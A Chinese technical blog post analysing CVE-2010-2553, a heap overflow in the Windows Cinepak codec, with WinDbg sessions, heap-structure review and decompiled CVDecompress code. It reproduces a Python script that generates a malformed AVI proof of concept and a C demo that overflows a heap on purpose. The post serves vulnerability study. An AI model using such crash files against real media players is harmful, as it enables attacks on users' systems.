查看原文
其他

CVE-2010-2553 堆溢出漏洞分析

LarryS 看雪学苑 2022-07-01
本文为看雪论坛精华文章
看雪论坛作者ID:LarryS

这篇文章可以分为两大部分。前半部分根据《漏洞战争》的代码,在调试的过程中重新复习了一遍堆结构相关的知识,并学习了Windbg提供的堆调试选项;后半部分是对CVE-2010-2553分析,包括AVI格式分析以及漏洞函数代码分析。
 
在学习过程中发现了书中对AVI格式的介绍存在一些问题,同时对于溢出漏洞也有了更深的理解。


1


堆溢出相关知识


之前一直在看栈溢出漏洞,这次选择堆溢出,之后也会各个漏洞轮流分析,加强一下记忆。
 
由于有一段时间没看过这部分内容,再加上《漏洞战争》中使用的是Windbg这个我不太熟悉的工具,所以决定完整的跟一遍前面的“堆溢出原理”小结,同时回顾一下自己在学习0day时总结的堆溢出漏洞笔记。

1.1 代码基本调试


注:书中该实验环境是Win7简体中文旗舰版,我使用的版本不同,结果并没有触发异常,这里也要分析一下原因。
 
实验环境:WinXP SP3
 
实验代码:
#include <windows.h>#include <stdio.h> int main () { HANDLE hHeap; char *heap; char str[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; hHeap = HeapCreate(HEAP_GENERATE_EXCEPTIONS, 0x1000, 0xffff); __asm int 3 heap = (char *)HeapAlloc(hHeap, 0, 0x10); printf("heap addr: 0x%08x\n", heap); strcpy(heap, str); HeapFree(hHeap, 0, heap); HeapDestroy(hHeap); return 0;}

程序在int 3中断并进入调试器之后,刚刚执行完HeapCreate,起始地址为0x3a0000,根据0day中学到的知识,偏移0x178的位置是空表索引区:
0:000> dd 3a0178003a0178 003a0688 003a0688 003a0180 003a0180003a0188 003a0188 003a0188 003a0190 003a0190003a0198 003a0198 003a0198 003a01a0 003a01a0003a01a8 003a01a8 003a01a8 003a01b0 003a01b0003a01b8 003a01b8 003a01b8 003a01c0 003a01c0003a01c8 003a01c8 003a01c8 003a01d0 003a01d0003a01d8 003a01d8 003a01d8 003a01e0 003a01e0003a01e8 003a01e8 003a01e8 003a01f0 003a01f0

可以看到0x003a0688那里就是Freelist[0]中唯一一个空的堆块:
0:000> db 3a0680003a0680 30 01 08 00 00 10 00 00-78 01 3a 00 78 01 3a 00 0.......x.:.x.:.003a0690 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................003a06a0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................003a06b0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................003a06c0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................003a06d0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................003a06e0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................003a06f0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

这个空的堆块大小为0x130*8=0x980字节,后面的两个0x003a0178就构成了一个双向链表。
 
F10继续往下执行,执行完HeapAlloc之后:
0:000> db 3a0680003a0680 03 00 08 00 15 01 08 00-78 01 3a 00 78 01 3a 00 ........x.:.x.:.003a0690 00 00 00 00 00 00 00 00-2d 01 03 00 00 10 00 00 ........-.......003a06a0 78 01 3a 00 78 01 3a 00-00 00 00 00 00 00 00 00 x.:.x.:.........003a06b0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................003a06c0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................003a06d0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................003a06e0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................003a06f0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

首字节0x03表示该块的大小为3*8=24字节,包含16字节的数据区域和8字节的块首,之前保存了双向链表指针的区域虽然内容没有发生变化,但是这里已经用来存在数据了。而0x003a06a0处则存在放了新的空闲堆块双向链表指针。
 
也可以使用Windbg中的!heap指令查看堆块的情况:
0:000> !heap -p No GlobalFlag bits active for this process active heaps: - 140000 HEAP_GROWABLE - 240000 HEAP_GROWABLE HEAP_CLASS_1 - 250000 HEAP_CLASS_8 - 380000 HEAP_NO_SERIALIZE HEAP_GROWABLE HEAP_CLASS_1 - 3a0000 HEAP_GENERATE_EXCEPTIONS HEAP_CLASS_1 0:000> !heap -p -h 0x3a0000 _HEAP @ 3a0000 No FrontEnd _HEAP_SEGMENT @ 3a0640 CommittedRange @ 3a0680 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 003a0680 0003 0000 [01] 003a0688 00010 - (busy) 003a0698 012d 0003 [10] 003a06a0 00960 - (free) VirtualAllocdBlocks @ 3a0050

在我们分配的0x10的堆块后面,0x3a0698处有一个大小为0x960的空闲堆块。获得了堆块的地址之后,可以使用dt struct addr查看具体的结构体成员值:
0:000> dt _HEAP_FREE_ENTRY 0x003a0698ntdll!_HEAP_FREE_ENTRY +0x000 Size : 0x12d +0x002 PreviousSize : 3 +0x000 SubSegmentCode : 0x0003012d Void +0x004 SmallTagIndex : 0 '' +0x005 Flags : 0x10 '' +0x006 UnusedBytes : 0 '' +0x007 SegmentIndex : 0 '' +0x008 FreeList : _LIST_ENTRY [ 0x3a0178 - 0x3a0178 ]

这时这个空闲堆块一切正常。继续执行完字符串的复制之后:
0:000> dt _HEAP_FREE_ENTRY 0x003a0698ntdll!_HEAP_FREE_ENTRY +0x000 Size : 0x4141 +0x002 PreviousSize : 0x4141 +0x000 SubSegmentCode : 0x41414141 Void +0x004 SmallTagIndex : 0x41 'A' +0x005 Flags : 0x41 'A' +0x006 UnusedBytes : 0x41 'A' +0x007 SegmentIndex : 0x41 'A' +0x008 FreeList : _LIST_ENTRY [ 0x41414141 - 0x41414141 ]

可以看到,由于复制的字符串长度大于堆块的大小,数据发生了溢出,将后面空闲堆块中存放的双向链表指针覆盖成了0x41414141。
 
按照书中的构想,接下来在执行HeapFree的时候,会合并这块分配出来的堆块和后面的空闲堆块,从空闲堆块的链表指针中获取下一个堆块地址,进行写入操作,从而触发异常。但是在我的实验中,并没有发生异常,通过调试,发现这一块代码:
0:000> peax=00000003 ebx=00000004 ecx=7ffdd000 edx=003a0608 esi=003a0680 edi=003a0000eip=7c910ac2 esp=0012fe7c ebp=0012ff38 iopl=0 nv up ei pl zr na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246ntdll!RtlFreeHeap+0x30a:7c910ac2 8d9cc778010000 lea ebx,[edi+eax*8+178h]

注意这里经过计算后,得到的ebx的值是0x3a0190,也就是24字节的freelist[3]在空表索引区的位置,然后执行了下面的操作:
0:000> peax=003a0688 ebx=003a0190 ecx=003a0190 edx=00000008 esi=003a0680 edi=003a0000eip=7c910b07 esp=0012fe7c ebp=0012ff38 iopl=0 nv up ei pl nz na po nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202ntdll!RtlFreeHeap+0x34f:7c910b07 8918 mov dword ptr [eax],ebx ds:0023:003a0688=41414141

将之前分配的堆块中双向链表指针的位置修改成了0x3a0190。也就是说在我的实验环境中,新释放的这个堆块并没有和后面的空闲堆块合并,而是被分配到了freelist[3]中,因此也就没有触发异常。

1.2 Windbg提供的堆调试选项


在Windbg中可以使用!gflag [-? | flags]命令设置或取消对应GlobalFlags,从而实现堆调试:
0:000> !gflag -?usage: !gflag [-? | flags]Flags may either be a single hex number that specifies all32-bits of the GlobalFlags value, or it can be one or morearguments, each beginning with a + or -, where the + meansto set the corresponding bit(s) in the GlobalFlags and a -means to clear the corresponding bit(s). After the + or -may be either a hex number or a three letter abbreviationfor a GlobalFlag. Valid abbreviations are: soe - Stop On Exception sls - Show Loader Snaps htc - Enable heap tail checking hfc - Enable heap free checking hpc - Enable heap parameter checking hvc - Enable heap validation on call vrf - Enable application verifier htg - Enable heap tagging ust - Create user mode stack trace database htd - Enable heap tagging by DLL dse - Disable stack extensions scb - Enable system critical breaks dhc - Disable Heap Coalesce on Free hpa - Place heap allocations at ends of pages cse - Early critical section event creation dpd - Disable protected DLL verification

其中比较重要的有:

htc:堆尾检查,在堆块末尾附加额外信息,检查是否溢出

hfc:堆释放检查,在释放堆块时进行各种检查,防止多次释放

hpc:堆参数检查,对传递给堆管理的参数进行更多检查

hpa:启用页堆,在堆块后增加用于检测溢出的栅栏页,若发生堆溢出触及栅栏页会立刻触发异常。

设置这个标志可以定位到导致漏洞的代码或函数。



2


漏洞介绍


CVE-2010-2553存在于Microsoft Windows XP SP2和SP3, Windows Vista SP1和SP2, 以及Windows 7的Cinepak解码器中,iccvid.dll在解压缩媒体文件时,没有对缓冲区大小进行检测,导致在复制压缩数据时造成堆溢出。


3


文件格式介绍

exploit-db网站上,有ABYSSSEC提供的poc文件生成代码:
import sys def main(): aviHeaders = '\x52\x49\x46\x46\x58\x01\x00\x00\x41\x56\x49\x20\x4C\x49\x53\x54\xC8\x00\x00\x00\x68\x64\x72\x6C\x61\x76\x69\x68\x38\x00\x00\x00\xA0\x86\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x01\x00\x00\x4E\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x60\x01\x00\x00\x20\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4C\x49\x53\x54\x7C\x00\x00\x00\x73\x74\x72\x6C\x73\x74\x72\x68\x38\x00\x00\x00\x76\x69\x64\x73\x63\x76\x69\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xE8\x03\x00\x00\x10\x27\x00\x00\x00\x00\x00\x00\x4E\x00\x00\x00\x20\x74\x00\x00\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\x00\x60\x01\x20\x01\x73\x74\x72\x66\x28\x00\x00\x00\x28\x00\x00\x00\x50\x01\x00\x00\x20\x01\x00\x00\x01\x00\x18\x00\x63\x76\x69\x64\x84\x8D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' padding = '\x4A\x55\x4E\x4B\x00\x00\x00\x00\x4A\x55\x4E\x4B\x00\x00\x00\x00' movi_tag = '\x4C\x49\x53\x54\x5C\x00\x00\x00\x6D\x6F\x76\x69\x30\x30\x64\x63\x10\x00\x00\x00' cinepak_codec_data1 = '\x00\x00\x00\x68\x01\x60\x01\x20' number_of_coded_strips = '\x00\x10' cinepak_codec_data2 = '\x10\x00\x00\x10\x00\x00\x00\x00\x00\x60\x01\x60\x20\x00\x00\x00\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x00' idx_tag = '\x69\x64\x78\x31\x10\x00\x00\x00\x30\x30\x64\x63\x10\x00\x00\x00\x04\x00\x00\x00\x68\x00\x00\x00' avifile = open('poc.avi', 'wb+') avifile.write(aviHeaders) avifile.write(padding) avifile.write(movi_tag) avifile.write(cinepak_codec_data1) avifile.write(number_of_coded_strips) avifile.write(cinepak_codec_data2) avifile.write(idx_tag) avifile.close() print '[-] AVI file generated' if __name__ == '__main__': main()

因为了解avi格式只是用于分析漏洞,不需要太详尽,所以只根据这份代码生成的poc文件来看文件格式。

3.1 avi格式


AVI文件采用RIFF文件格式,这种文件格式的基本单元是块(CHUNK):
struct chunk { uint32_t ID; //块标识符 uint32_t Size; //块数据大小 uint8_t Data[Size]; //块数据};

一个AVI文件结构可以参考下图:
按照这种格式对POC文件进行标注,得到:

 
根据上图的信息,真正的cvid数据应该在movi块中偏移12个字节的位置(偏移4是00dc标识符,偏移8是数据长度)。

3.2 cvid压缩格式


以下格式的理解参考cinepak文档,可能有错误,与《漏洞战争》中的分析也有不同,后面调试的时候会尝试进行验证。
 
cvid数据内容如下:
0000h 00 00 00 68 01 60 01 20 00 10 10 00 00 10 00 000010h 00 00 00 60 01 60 20 00 00 00 11 00 00 10 41 410020h 41 41 41 41 41 41 41 41 41 41 11 00 00 10 41 410030h 41 41 41 41 41 41 41 41 41 41 11 00 00 10 41 410040h 41 41 41 41 41 41 41 41 41 41 11 00 00 10 41 00

根据文档,Cinepak视频流通常由如下几个部分组成:
+-----------------------+| Frame Header |+-----------------------+| Strip 1 Header |+-----------------------+| Strip 1 Codebooks |+-----------------------+| Strip 1 Frame Vectors |+-----------------------+| Strip 2 Header |+-----------------------+| Strip 2 Codebooks |+-----------------------+| Strip 2 Frame Vectors |+-----------------------+| Strip 3 Header |+-----------------------+| . . . | . . . | . . . |+-----------------------+

其中Frame Header长度为10个字节,格式如下:
7 6 5 4 3 2 1 0 Field Name Type Value +---------------+0 |0 0 0 0 0 0 0 0| Flags Byte 0 +---------------+1 |0 0 0 0 0 0 0 0| Length of CVID data Unsigned 0x68 +- -+2 |0 0 0 0 0 0 0 0| +- -+3 |0 1 1 0 1 0 0 0| +---------------+4 |0 0 0 0 0 0 0 1| Width of coded frame Unsigned 0x160 +- -+5 |0 1 1 0 0 0 0 0| +---------------+6 |0 0 0 0 0 0 0 1| Height of coded frame Unsigned 0x120 +- -+7 |0 0 1 0 0 0 0 0| +---------------+8 |0 0 0 0 0 0 0 0| Number of coded strips Unsigned 0x10 +- -+9 |0 0 0 1 0 0 0 0| +---------------+

从Frame Header中可以得到CVID数据长度为0x68,strip的数量是16个,接下来就是strip的内容了,先看一下Strip 1 Header结构:
7 6 5 4 3 2 1 0 Field Name Type Value +---------------+ 0 |0 0 0 1 0 0 0 0| Strip CVID ID Unsigned 0x1000 +- -+ 1 |0 0 0 0 0 0 0 0| +---------------+ 2 |0 0 0 0 0 0 0 0| Size of strip data Unsigned 0x10 +- -+ 3 |0 0 0 1 0 0 0 0| +---------------+ 4 |0 0 0 0 0 0 0 0| Strips top Y position Unsigned 0x0 +- -+ 5 |0 0 0 0 0 0 0 0| +---------------+ 6 |0 0 0 0 0 0 0 0| Strips top X position Unsigned 0x0 +- -+ 7 |0 0 0 0 0 0 0 0| +---------------+ 8 |0 0 0 0 0 0 0 0| Strips bottom Y position Unsigned 0x60 +- -+ 9 |0 1 1 0 0 0 0 0| +---------------+10 |0 0 0 0 0 0 0 1| Strips bottom X position Unsigned 0x160 +- -+11 |0 1 1 0 0 0 0 0| +---------------+

这个strip的数据长度是16字节。
 
紧跟在Header之后的是CVID Chunk,Codebooks和Frame Vectors都在这个结构里面,其结构如下:
7 6 5 4 3 2 1 0 Field Name Type Value +---------------+0 |0 0 1 0 0 0 0 0| CVID Chunk ID Unsigned 0x2000 +- -+1 |0 0 0 0 0 0 0 0| +---------------+2 |0 0 0 0 0 0 0 0| Size of chunk data (N) Unsigned 0x0 +- -+3 |0 0 0 0 0 0 0 0| +---------------+4 | | +- -+5 | | +- . . . . -+ | | Chunk data (N - 4 bytes) Byte +- -+N | | +---------------+

所以这个chunk的大小是0。正好这里也到达了strip 1的16个字节的长度要求。下面应该是下一个strip了(这里书中说的我和理解的不一样,书中说这里是下一个chunk ID)。
 
总体来看结构是这样的:

CVID的数据长度为0x68,超过了已有数据长度。除此之外,strip 2的长度在header中定义的是16个字节,但是里面的chunk数据长度为0x4141,这肯定是有问题的。不过不知道异常触发是不是这个原因,还需要进一步分析。



4


漏洞调试分析


4.1 定位漏洞函数


打开Windows Media Player,使用Windbg附加到该进程,然后启用页堆,打开poc文件。
 
定位漏洞代码:
0:011> !gflag +hpaNew NtGlobalFlag contents: 0x02000000 hpa - Place heap allocations at ends of pages0:011> gModLoad: 73760000 737ab000 C:\WINDOWS\system32\ddraw.dllModLoad: 73bc0000 73bc6000 C:\WINDOWS\system32\DCIMAN32.dllModLoad: 75f80000 7607d000 C:\WINDOWS\system32\browseui.dllModLoad: 763b0000 763f9000 C:\WINDOWS\system32\comdlg32.dllModLoad: 77b40000 77b62000 C:\WINDOWS\system32\appHelp.dllModLoad: 77a20000 77a74000 C:\WINDOWS\System32\cscui.dllModLoad: 76600000 7661d000 C:\WINDOWS\System32\CSCDLL.dllModLoad: 76990000 769b5000 C:\WINDOWS\system32\ntshrui.dllModLoad: 76b20000 76b31000 C:\WINDOWS\system32\ATL.DLLModLoad: 71b20000 71b32000 C:\WINDOWS\system32\MPR.dllModLoad: 02b00000 02b10000 C:\WINDOWS\System32\vmhgfs.dllModLoad: 75f60000 75f67000 C:\WINDOWS\System32\drprov.dllModLoad: 71c10000 71c1e000 C:\WINDOWS\System32\ntlanman.dllModLoad: 71cd0000 71ce7000 C:\WINDOWS\System32\NETUI0.dllModLoad: 71c90000 71cd0000 C:\WINDOWS\System32\NETUI1.dllModLoad: 71c80000 71c87000 C:\WINDOWS\System32\NETRAP.dllModLoad: 71bf0000 71c03000 C:\WINDOWS\System32\SAMLIB.dllModLoad: 75f70000 75f7a000 C:\WINDOWS\System32\davclnt.dllModLoad: 73d70000 73d83000 C:\WINDOWS\system32\shgina.dllModLoad: 75970000 75a68000 C:\WINDOWS\system32\MSGINA.dllModLoad: 74320000 7435d000 C:\WINDOWS\system32\ODBC32.dllModLoad: 76360000 76370000 C:\WINDOWS\system32\WINSTA.dllModLoad: 02c80000 02c97000 C:\WINDOWS\system32\odbcint.dllModLoad: 73b50000 73b67000 C:\WINDOWS\system32\AVIFIL32.dllModLoad: 76980000 76988000 C:\WINDOWS\system32\LINKINFO.dllModLoad: 73d70000 73d83000 C:\WINDOWS\system32\shgina.dllModLoad: 73760000 737ab000 C:\WINDOWS\system32\ddraw.dllModLoad: 73bc0000 73bc6000 C:\WINDOWS\system32\DCIMAN32.dllModLoad: 74810000 7497d000 C:\WINDOWS\system32\quartz.dllModLoad: 75f40000 75f51000 C:\WINDOWS\system32\devenum.dllModLoad: 73760000 737ab000 C:\WINDOWS\system32\DDRAW.dllModLoad: 73bc0000 73bc6000 C:\WINDOWS\system32\DCIMAN32.dllModLoad: 73940000 73a10000 C:\WINDOWS\system32\D3DIM700.DLLModLoad: 73c00000 73c17000 C:\WINDOWS\system32\iccvid.dll(d4c.794): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.eax=00006000 ebx=02891958 ecx=000003f4 edx=0af0fd38 esi=0289b000 edi=0289d000eip=73c022cc esp=0af0fd04 ebp=0af0fd30 iopl=0 nv up ei pl zr na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246iccvid!CVDecompress+0x11e:73c022cc f3a5 rep movs dword ptr es:[edi],dword ptr [esi]

通过查看调用栈,找到漏洞函数:
0:016> kbChildEBP RetAddr Args to Child 0af0fd30 73c0cbf3 00000004 00000000 00000068 iccvid!CVDecompress+0x11e0af0fd60 73c066c8 00134c60 00000000 000d3580 iccvid!Decompress+0x11d0af0fdac 75a71938 00134c60 00000001 0000400d iccvid!DriverProc+0x1bf0af0fdd0 7482fa9e 75a8b500 0000400d 0af0fde8 MSVFW32!ICSendMessage+0x2b0af0fe00 7482f9e9 75a8b500 00000000 000d3580 quartz!CVFWDynLink::ICDecompress+0x3e0af0fec0 74830a55 00e269f8 026335e0 00000000 quartz!CAVIDec::Transform+0x2820af0feec 74830939 00e269f8 00000000 00e272a8 quartz!CVideoTransformFilter::Receive+0x1100af0ff00 7482e67a 00e0d324 00e269f8 0af0ff40 quartz!CTransformInputPin::Receive+0x330af0ff10 74830ca0 00e269f8 00040103 00e272a8 quartz!CBaseOutputPin::Deliver+0x220af0ff40 74830e1c 0af0ff70 0af0ff6c 00000000 quartz!CBaseMSRWorker::TryDeliverSample+0x1020af0ff84 7482ce30 00000000 00e272a8 00e272a8 quartz!CBaseMSRWorker::PushLoop+0x15e0af0ff9c 7482dbe6 00000000 7482a121 00000000 quartz!CBaseMSRWorker::DoRunLoop+0x4a0af0ffa4 7482a121 00000000 774ec8a0 0af0ffec quartz!CBaseMSRWorker::ThreadProc+0x390af0ffb4 7c80b713 00e272a8 00000000 774ec8a0 quartz!CAMThread::InitialThreadProc+0x150af0ffec 00000000 7482a10c 00e272a8 00000000 kernel32!BaseThreadStart+0x370:016> ub iccvid!Decompress+0x11diccvid!Decompress+0x102:73c0cbd8 ffb698000000 push dword ptr [esi+98h]73c0cbde 57 push edi73c0cbdf ff7528 push dword ptr [ebp+28h]73c0cbe2 ff752c push dword ptr [ebp+2Ch]73c0cbe5 ff7530 push dword ptr [ebp+30h]73c0cbe8 ff7514 push dword ptr [ebp+14h]73c0cbeb ff765c push dword ptr [esi+5Ch]73c0cbee e8bb55ffff call iccvid!CVDecompress (73c021ae)

现在找到了漏洞函数的位置0x73c0cbee,需要在这里下断点重新调试,但是这个地址位于iccvid.dll文件中,只有在程序加载完该DLL文件后才能在这里下断点。

4.2 DLL函数调试


重新附加到Windows Media Player上面,执行命令sxe ld:iccvid,然后打开poc文件,这时会中断在程序加载iccvid.dll的时候,这时再下断点:
0:009> sxe ld:iccvid0:009> gModLoad: 73c00000 73c17000 C:\WINDOWS\system32\iccvid.dlleax=00000001 ebx=00000000 ecx=00000044 edx=000a2ee0 esi=00000000 edi=00000000eip=7c90e4f4 esp=0230e28c ebp=0230e380 iopl=0 nv up ei pl zr na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246ntdll!KiFastSystemCallRet:7c90e4f4 c3 ret0:010> bp 0x73c0cbee0:010> gBreakpoint 0 hiteax=00000001 ebx=01c8fd88 ecx=0005e2c0 edx=fffffee0 esi=00121e08 edi=0293f820eip=73c0cbee esp=01c8fd38 ebp=01c8fd60 iopl=0 nv up ei pl zr na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246iccvid!Decompress+0x118:73c0cbee e8bb55ffff call iccvid!CVDecompress (73c021ae)

F11步入这个函数,然后看一下这时候的调用栈:
0:005> kbChildEBP RetAddr Args to Child 01c8fd30 73c0cbf3 0011e078 02676af8 00000068 iccvid!CVDecompress01c8fd60 73c066c8 00121e08 00000000 00170f80 iccvid!Decompress+0x11d01c8fdac 75a71938 00121e08 00000001 0000400d iccvid!DriverProc+0x1bf01c8fdd0 7482fa9e 75a8b500 0000400d 01c8fde8 MSVFW32!ICSendMessage+0x2b01c8fe00 7482f9e9 75a8b500 00000000 00170f80 quartz!CVFWDynLink::ICDecompress+0x3e01c8fec0 74830a55 00e03cd8 00e2c240 00000000 quartz!CAVIDec::Transform+0x28201c8feec 74830939 00e03cd8 00000000 00e2b050 quartz!CVideoTransformFilter::Receive+0x11001c8ff00 7482e67a 00dbc30c 00e03cd8 01c8ff40 quartz!CTransformInputPin::Receive+0x3301c8ff10 74830ca0 00e03cd8 00040103 00e2b050 quartz!CBaseOutputPin::Deliver+0x2201c8ff40 74830e1c 01c8ff70 01c8ff6c 00000000 quartz!CBaseMSRWorker::TryDeliverSample+0x10201c8ff84 7482ce30 00000000 00e2b050 00e2b050 quartz!CBaseMSRWorker::PushLoop+0x15e01c8ff9c 7482dbe6 00000000 7482a121 00000000 quartz!CBaseMSRWorker::DoRunLoop+0x4a01c8ffa4 7482a121 00000000 000a0178 01c8ffec quartz!CBaseMSRWorker::ThreadProc+0x3901c8ffb4 7c80b713 00e2b050 00000000 000a0178 quartz!CAMThread::InitialThreadProc+0x1501c8ffec 00000000 7482a10c 00e2b050 00000000 kernel32!BaseThreadStart+0x37

可以看到当前函数的参数,第三个参数是0x68,就是我们上面分析的CVID数据长度。再加上对于漏洞本身的了解,合理猜测前面两个参数是数据复制的目的地址和源地址,看一下:
0:005> db 11e0780011e078 3b 9f c0 73 3b 9f c0 73-bc 4f c0 73 3e 52 c0 73 ;..s;..s.O.s>R.s0011e088 7b 53 c0 73 5c 75 c0 73-5c 75 c0 73 78 1e 17 00 {S.s\u.s\u.sx...0011e098 78 1e 17 00 00 00 00 00-50 01 20 01 00 00 01 00 x.......P. .....0011e0a8 00 00 00 00 78 7e 17 00-00 00 00 00 00 00 00 00 ....x~..........0011e0b8 05 00 09 00 ae 01 08 00-e8 e0 11 00 00 00 00 00 ................0011e0c8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................0011e0d8 00 00 00 00 00 00 00 00-05 00 05 00 a5 01 08 00 ................0011e0e8 38 e1 11 00 00 00 00 00-00 00 00 00 00 00 00 00 8...............0:005> dds 11e0780011e078 73c09f3b iccvid!ExpandCodeBook320011e07c 73c09f3b iccvid!ExpandCodeBook320011e080 73c04fbc iccvid!DrawKey320011e084 73c0523e iccvid!DrawSmooth320011e088 73c0537b iccvid!DrawInter320011e08c 73c0755c iccvid!DetailCodeFromRGBa88880011e090 73c0755c iccvid!DetailCodeFromRGBa88880011e094 00171e780011e098 00171e780011e09c 000000000011e0a0 01200150 xpsp2res+0x1e01500:005> db 2676af802676af8 00 00 00 68 01 60 01 20-00 10 10 00 00 10 00 00 ...h.`. ........02676b08 00 00 00 60 01 60 20 00-00 00 11 00 00 10 41 41 ...`.` .......AA02676b18 41 41 41 41 41 41 41 41-41 41 11 00 00 10 41 41 AAAAAAAAAA....AA02676b28 41 41 41 41 41 41 41 41-41 41 11 00 00 10 41 41 AAAAAAAAAA....AA02676b38 41 41 41 41 41 41 41 41-41 41 11 00 00 10 41 00 AAAAAAAAAA....A.02676b48 69 64 78 31 10 00 00 00-30 30 64 63 10 00 00 00 idx1....00dc....02676b58 04 00 00 00 68 00 00 00-00 00 00 00 00 00 00 00 ....h...........02676b68 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

第二个参数0x2676af8处的数据是不是特别眼熟,就是上面的CVID数据,看来第二个参数确实是源数据。而第一个参数那里保存的是一些函数地址,不知道有什么用(后来发现这里的一块空间应该是用于存储数据的)。

4.3 漏洞函数代码分析


接下来我是IDA+Windbg同步进行分析的,由于Windbg的结果贴上来实在太冗杂了,所以直接贴上IDA中的代码分析结果:
int __stdcall CVDecompress(ULONG data, int src, int length, int a4, int a5, int a6, int a7){ // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND] data_ = data; v8 = *(data + 36); if... result = 0; if ( length >= 0x20 ) { src_ = src; BYTE1(result) = *(src + 1); LOBYTE(result) = *(src + 2); v11 = *(src + 3) | (result << 8); // 这里得到的还是length, 0x68 if ( length < v11 || (HIBYTE(length) = *src, ULongSub(v11, 10u, &remain_len) < 0) )// 这里做了一个运算0x68-10,减去了头部的长度看是否还大于0 {LABEL_33: result = 0; } else { HIBYTE(nStrip) = *(src_ + 8); strip = (src_ + 10); // 加上了头部的长度,现在指向strip 1的起始位置 strip_idx = 0; strip_ = strip; strip__ = strip; LOBYTE(nStrip) = *(strip - 1); // 这里是strip的个数 nStrip_ = nStrip; if ( nStrip ) { v32 = 0; do { if ( remain_len < 0x16 ) break; HIBYTE(v14) = strip[1]; LOBYTE(v14) = strip[2]; strip_len = strip[3] | (v14 << 8); if ( remain_len < strip_len ) break; if ( *strip == 0x10 || *strip == 0x11 )// 检查strip ID { if ( ULongSub(strip_len, 0xCu, &data) < 0 )// 这里又减去了strip header的长度 12个字节 // data的位置存储的是差值 goto LABEL_33; HIBYTE(bottom_y) = strip[8]; HIBYTE(top_y) = strip[4]; LOBYTE(bottom_y) = strip[9]; LOBYTE(top_y) = strip[5]; v17 = bottom_y - top_y; LOWORD(v17) = *(data_ + 46) * v17; src = v17; if ( v32 && !HIBYTE(length) && *strip == 0x11 )// 当遍历到第二个strip的时候,条件都满足,进入if块 { qmemcpy((*(data_ + 28) + v32), (*(data_ + 28) + v32 - 0x2000), 0x2000u);// 异常发生在这里 strip = strip_; } chunk = strip__ + 12; // 这里又加上了strip header的长度,目前指向了chunk chunk_ = strip + 12; *(data_ + 56) = v32 + *(data_ + 32); chunk__ = strip + 12; *(data_ + 60) = a7; while ( data >= 4 ) { HIBYTE(v20) = chunk_[1]; LOBYTE(v20) = chunk_[2]; chunk_size = chunk_[3] | (v20 << 8); chunk_size_ = chunk_size; if ( data < chunk_size ) // 验证chunk_size的大小 break; switch... // 这里在检查chunk ID,根据chunk ID处理chunk数据 chunk_ = &chunk__[chunk_size_]; v22 = 1; chunk += chunk_size_; chunk__ += chunk_size_; if ( chunk_size_ > 1 ) v22 = chunk_size_; data -= v22; } a6 += a7 * src; ++strip_idx; v32 += 0x2000; } strip__ += strip_len; // 接着处理下一个strip remain_len -= strip_len; strip += strip_len; strip_ = strip; } while ( strip_idx < nStrip_ ); } result = 1; } } return result;}

上述代码理解可以看下面这张图:
每次遇到strip ID是0x1100的时候,都会进行数据的复制操作,每次复制的字节数为0x2000,这里并没有判断堆中是否能够容纳这么多的数据,查看一下堆块的大小:
0:005> !heap -p -a edi address 00173e78 found in _HEAP @ a0000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 00171e70 0c01 0000 [01] 00171e78 06000 - (busy) ? wmploc+93

可以看到这个堆的大小是0x6000,也就是说复制三次数据就满了,第四次再复制的时候就会导致堆溢出。

4.4 小总结


4.4.1 关于cvid压缩格式


目前看来我对于CVID格式的理解是没什么问题的,chunk是strip的一部分,strip1后面跟着strip2,以此类推。

4.4.2 如何触发漏洞


1、CVID数据长度就按照数据总长度设置,需要大于0x20

2、包含大于3个,且ID为0x1100的strip



5


本文Windbg学习总结


1、!heap:查看堆相关信息
使用!heap -?查看帮助信息
!heap -p:查看所有可能的handle值
!heap -p -h HANDLE:查看对应HANDLE的详细分配信息
!heap -p -a ADDR:显示具体某个堆块的详细信息

2、dt STRUCTURE ADDR:按照STRUCTURE结构显示ADDR处结构体各成员值

3、!gflag [-? | flags]指令用于堆调试,重点标志:htc, hfc, hpc, hpa

4、sx:用于控制被调试程序发生某异常或特定事件时,调试器要采取的动作
sxe ld:ModuleName 在首次加载ModuleName的时候中断。


6


总结


